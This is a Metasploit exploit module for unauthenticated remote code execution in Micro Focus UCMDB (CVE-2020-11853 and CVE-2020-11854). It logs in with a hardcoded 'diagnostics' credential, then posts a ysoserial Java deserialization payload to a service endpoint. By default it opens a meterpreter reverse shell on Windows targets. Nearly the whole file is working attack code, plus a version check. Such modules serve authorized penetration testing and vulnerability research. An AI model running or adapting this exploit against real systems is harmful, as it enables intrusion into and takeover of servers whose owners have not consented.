##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits two vulnerabilities, that when chained allow an attacker
to achieve unauthenticated remote code execution in Micro Focus UCMDB.
UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
but this module can probably also be used to exploit Operations Bridge Manager
(containeirized) and Application Performance Management.
Check the advisory and module documentation for details.
The first vulnerability is a hardcoded password for the "diagnostics" user, which
allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
Both Windows and Linux installations are vulnerable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
[ 'CVE', '2020-11853'],
[ 'CVE', '2020-11854'],
[ 'ZDI', '20-1287'],
[ 'ZDI', '20-1288'],
],
'Privileged' => true,
'Platform' => %w[unix win],
'DefaultOptions' =>
{
'WfsDelay' => 15
},
'Targets' =>
# unfortunately could not find a way to determine target automatically
[
[
'Windows',
{
'Platform' => 'win',
'DefaultOptions' =>
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
},
],
[
'Linux',
{
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' =>
# Metasploit ysoserial's Linux payloads are currently BROKEN!
# So we need to default to cmd/unix/generic, which is the only that works now.
# Once this is fixed, change the default to cmd/unix/reverse_python
# ... and remove this comment.
{ 'PAYLOAD' => 'cmd/unix/generic' }
},
]
],
'DisclosureDate' => '2020-10-28',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
'method' => 'GET'
})
if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
if res.body.include?('ServerVersion=11.6.0')
# 100% sure this version is vulnerable
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Attacking #{target.name} target")
if target.name == 'Windows'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
else
cmd = payload.encoded
end
# First, let's authenticate
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
'method' => 'POST',
'vars_post' => {
'customerID' => '1',
'isEncoded' => 'false',
'userName' => 'diagnostics',
'password' => 'YWRtaW4=',
'ldapServerName' => 'UCMDB'
}
})
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
end
cookies = res.get_cookies
print_good("#{peer} - Succesfully authenticated and obtained our cookie!")
# Now let's pick a random service since we have so many to choose from :D
vuln_service = [
'services/CmdbOperationExecuterService',
'services/CategoryFacadeForGui',
'services/CorrelationFacadeForGui',
'services/CorrelationRunnerFacade',
'services/PackageFacadeForGui',
'services/SchedulerFacadeForGui',
'services/FoldersFacade',
'services/BusinessModelFacadeForGui',
'services/WatchServerAPI',
'services/TopologyService',
'services/ReportService',
'services/CMSImagesService',
'services/PatternService',
'services/FolderService',
'services/RelatedCIsService',
'services/MailService',
'services/DiscoveryService',
'services/ServiceDiscoveryService',
'services/SoftwareLibraryService',
'services/DataAcquisitionService',
'services/CIService',
'services/HistoryService',
'services/BundleService',
'services/LocationService',
'services/SchedulerService',
'services/ImpactService',
'services/CommonService',
'services/PermissionsService',
'services/ClassModelService',
'services/SnapshotService',
'services/LDAPService',
'services/CITService',
'services/MultiTenancyService',
'services/SecurityService',
'services/ResourceManagementService',
'services/AutomationMappingService',
'services/LicensingService',
'services/GenericAdapterService'
].sample
# Simple as
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd)
print_status("#{peer} - Sending payload to /#{vuln_service}")
res = send_request_raw({
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
'method' => 'POST',
'cookie' => cookies,
'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
'data' => payload
})
if res && res.code == 500
print_good("#{peer} - Success, shell incoming!")
handler
else
print_error("#{peer} - Something failed, try again?")
end
end
end
